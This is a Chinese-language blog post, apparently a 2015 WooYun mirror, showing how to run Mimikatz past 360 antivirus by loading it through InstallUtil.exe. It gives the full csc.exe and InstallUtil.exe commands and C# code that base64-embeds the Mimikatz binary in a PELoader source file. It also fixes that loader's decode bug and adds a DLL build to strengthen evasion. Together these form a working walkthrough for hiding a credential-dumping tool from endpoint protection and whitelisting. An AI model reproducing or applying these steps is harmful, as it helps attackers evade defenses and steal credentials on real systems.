利用白名單繞過360例項

wyzsk發表於2020-08-19
作者: 三好學生 · 2015/09/17 10:43

0x00 前言


最近subTee在其部落格中介紹瞭如何利用白名單繞過防護,但細節存在bug,所以本文僅介紹如何修復其bug並利用該方法繞過360,更多利用方法值得探索

部落格連結:

http://subt0x10.blogspot.hk/(需翻牆)

文章地址:

http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html(需翻牆)

0x01 測試目標

下載最新版本Mimikatz,實現繞過防毒軟體的查殺。

0x02 測試環境


作業系統:Win7 x64

mimikatz版本:2.0 alpha 20150906 (oe.eo) edition(目前為止最新)

下載連結:https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906

測試日期:9/14/2015

0x03 實際測試


建議先了解參考連結,連結中提到的相關基礎知識不做再次介紹

1、下載最新mimikatz,測試查殺情況

毫無疑問,被查殺,如圖

enter image description here

2、利用InstallUtil.exe執行程式

(1)下載https://gist.github.com/subTee/00cdac8990584bd2c2fe並儲存為PELoader.cs

(2)參照部落格中的示例,執行如下程式碼:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs


C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

如圖,生成PELoader.exe,然後透過InstallUtil.exe執行PELoader.exe

enter image description here

enter image description here

enter image description here

成功載入執行mimikatz

程式顯示為InstallUtil.exe,如圖

enter image description here

(3)測試生成的PELoader.exe查殺情況

如圖,360成功檢測威脅

enter image description here

(4)嘗試修改PELoader.cs

閱讀程式碼發現Line853-856儲存了base64加密後的mimikatz

enter image description here

那麼參照作者給出的修改方法修改

作者給出的修改方法如下:

* Base64 Encode Mimikatz In PowerShell-  $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64")  * 
[OR] 
byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64"); sw.Write(AsBase64String); sw.Close();  *

(5)測試Base64 Encode Mimikatz In PowerShell

按照作者給出的方法對mimikatzbase64編碼並儲存在Mimikatz.b64檔案中

如圖

enter image description here

執行Powershell程式碼

執行後生成Mimikatz.b64,如圖

enter image description here

開啟將內容複製到PELoader.cs中的變數KatzCompressed的定義中,如圖

enter image description here

按照步驟(2)執行測試,發現錯誤,如圖

enter image description here

0x04 分析


作者給出的例項程式碼如果無法修改,未免太雞肋,必須找到修改方法,實現執行任意程式

0x05 解決方案


在做了多次實驗並研究程式碼後成功找到了錯誤原因:

Powershellbase64編碼同c#base64解碼之間存在解析錯誤

解決步驟:

(1)使用c#對mimikatz作base64加密

程式碼如下:

using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace test1
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] AsBytes = File.ReadAllBytes(@"C:\testcs\mimikatz.exe");
            String AsBase64String = Convert.ToBase64String(AsBytes);
            StreamWriter sw = new StreamWriter(@"C:\testcs\mimikatz.b64");
            sw.Write(AsBase64String);
            sw.Close();
        }
    }
}

我使用的環境是vs2012,新建c#工程,填寫以上程式碼,編譯後執行,生成新的mimikatz.b64,如圖

enter image description here

細心的同學可以發現和之前使用Powershell生成的mimikatz.b64有所區別

(2)替換變數KatzCompressed的定義內容

如圖

enter image description here

(3)修改解密過程

定位PELoader.cs Line106,去掉

byte[] decompressed = Decompress(FromBase64);

在前面新增“//”即可,如圖

enter image description here

(4)再次編譯並利用InstallUtil.exe執行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

如圖

enter image description here

證明修改成功,能夠順利執行我們修改的程式碼

(5)增強免殺

採用如下生成步驟:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll

如圖

enter image description here

也可以成功載入mimikatz

測試查殺情況

如圖

enter image description here

enter image description here

enter image description here

enter image description here

enter image description here

enter image description here

注:測試全過程開啟360,主動防禦未觸發

0x06 小結


透過InstallUtil.exe執行程式的方法不僅可使程式逃過防毒軟體的查殺,更能夠規避程式執行白名單的限制,其他作業系統下的情況有所不同,更多細節值得研究。

參照zone中大家的建議,希望這篇文章是大家喜歡看到的型別:)

本文由三好學生原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章